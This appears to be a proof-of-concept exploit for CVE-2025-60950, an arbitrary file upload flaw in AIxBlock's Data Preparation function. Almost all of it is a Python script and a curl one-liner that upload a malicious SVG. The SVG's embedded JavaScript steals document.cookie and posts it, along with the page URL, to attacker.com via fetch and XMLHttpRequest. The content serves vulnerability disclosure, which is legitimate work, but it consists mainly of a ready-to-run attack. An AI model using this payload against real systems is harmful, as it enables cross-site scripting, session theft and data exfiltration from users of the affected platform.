CVE-2025-60950 AIxBlock Data Preparation任意文件上传漏洞

# CVE-2025-60950 PoC - Malicious SVG File Upload # Target: AIxBlock Data Preparation Function # This PoC demonstrates arbitrary file upload leading to XSS/Code Execution import requests import json # Configuration TARGET_URL = "http://target-ai-xblock.com" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET_URL}/api/data-preparation/upload" FILE_PATH = "payload.svg" # Malicious SVG payload for XSS and potential RCE MALICIOUS_SVG = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // XSS payload - steals cookies/session alert(document.cookie); // Data exfiltration fetch('https://attacker.com/steal?data=' + encodeURIComponent(document.cookie)); // Potential RCE if server processes SVG var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/upload', true); xhr.send(window.location.href); </script> <circle cx="100" cy="100" r="50" fill="red" onload="alert('XSS via SVG')"/> </svg> ''' # Create malicious SVG file with open(FILE_PATH, 'w') as f: f.write(MALICIOUS_SVG) # Upload the malicious file files = { 'file': (FILE_PATH, MALICIOUS_SVG, 'image/svg+xml') } data = { 'type': 'data_preparation', 'description': 'Malicious SVG upload test' } try: response = requests.post( UPLOAD_ENDPOINT, files=files, data=data, timeout=30 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() print(f"[+] File uploaded successfully!") print(f"[+] File URL: {result.get('url', 'Check response')}") print(f"[+] Access the file to trigger the payload") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative PoC using curl: # curl -X POST -F "[email protected]" -F "type=data_preparation" \ # http://target-ai-xblock.com/api/data-preparation/upload